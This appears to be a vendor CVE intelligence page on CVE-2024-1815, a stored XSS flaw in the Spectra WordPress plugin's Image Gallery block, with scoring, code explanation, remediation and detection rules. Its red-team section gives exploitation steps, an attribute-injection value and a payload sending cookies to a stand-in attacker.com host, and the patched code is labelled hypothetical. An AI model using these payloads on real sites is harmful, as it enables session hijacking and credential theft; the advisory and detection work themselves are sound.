☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1815

CVE-2024-1815 Cross-Site Scripting in Spectra
📅 PUBLISHED: 2024-05-23 11:02 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1815 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra – WordPress Gutenberg Blocks plugin, affecting all versions up to and including 2.12.8. The flaw resides in the plugin's Image Gallery block, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used, making this a significant supply chain risk for WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

The Spectra plugin is distributed via the official WordPress plugin repository. Since no patch has been released, all sites using versions <= 2.12.8 are at risk. Administrators should monitor the plugin's update channel and consider disabling the Image Gallery block until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The medium severity reflects the need for authenticated access, but the low complexity and potential for widespread impact (due to stored XSS) elevate the risk for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability exists in the spectra/image-gallery block. When rendering the block, the plugin uses user-supplied attributes (e.g., imgLink, caption, altText) without proper sanitization or output escaping. An attacker with contributor-level access can craft a malicious block attribute containing JavaScript code. When the block is rendered on a page, the injected script is stored in the database and executed in the browser of any visitor.

The root cause is insufficient input validation in the block's render_callback function. The plugin fails to apply esc_attr() or wp_kses() to attributes before outputting them in HTML attributes or inline JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.12.8):

// In render_callback for image-gallery block
$img_link = $attributes['imgLink'];
echo '<a href="' . $img_link . '">'; // No escaping

Patched Code (Hypothetical):

$img_link = esc_url( $attributes['imgLink'] );
echo '<a href="' . $img_link . '">';

The patched version would use esc_url() for URLs and esc_attr() for other attributes, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Prerequisites: WordPress site with Spectra plugin <= 2.12.8, contributor-level account.
  2. Steps:
    • Log in as a contributor.
    • Create a new post or page.
    • Add the "Image Gallery" block.
    • In the block's attribute field (e.g., imgLink), inject a payload:
      " onmouseover="alert('XSS')"
      
    • Save and publish the page.
    • When any user visits the page, the script executes.

Example Payload:

<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Hardening)

  • Input Validation: Implement a Web Application Firewall (WAF) rule to block suspicious attributes in block content.
  • Content Security Policy (CSP): Add a strict CSP header to mitigate XSS impact.
  • User Education: Restrict contributor-level access to trusted users only.
  • Plugin Monitoring: Disable the Image Gallery block until a patch is available.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
  • File: Modified post/page content containing <script> tags or event handlers in block attributes.
  • Log: WordPress audit logs showing creation of posts with unusual block attributes.
  • Browser: Console errors or unexpected pop-ups when visiting pages with the Image Gallery block.

Detection Engineering

YARA Rule

rule Detect_Spectra_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Spectra Image Gallery block"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1815"
    strings:
        $payload1 = /<img[^>]+onerror\s*=\s*["']?[^"']*["']?/i
        $payload2 = /<[^>]+onmouseover\s*=\s*["']?[^"']*["']?/i
        $payload3 = /<[^>]+onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Spectra Image Gallery Block
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress posts using Spectra plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 'spectra/image-gallery'
        http.body|contains|all:
            - 'onerror'
            - 'onmouseover'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of event handlers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1815 Stored XSS in Spectra Image Gallery"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"spectra/image-gallery"; http_client_body; pcre:"/(onerror|onmouseover|onload)\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Image Gallery block in Spectra plugin settings or remove the plugin entirely if not critical.
  2. Short-term: Implement a WAF rule to block XSS payloads in block attributes.
  3. Long-term: Apply a patch when the vendor releases one. Consider forking the plugin to apply the fix yourself.
  4. Alternative: Use a different gallery plugin that is actively maintained and patched.

Valters IT – Securing your digital assets with precision.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1815/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.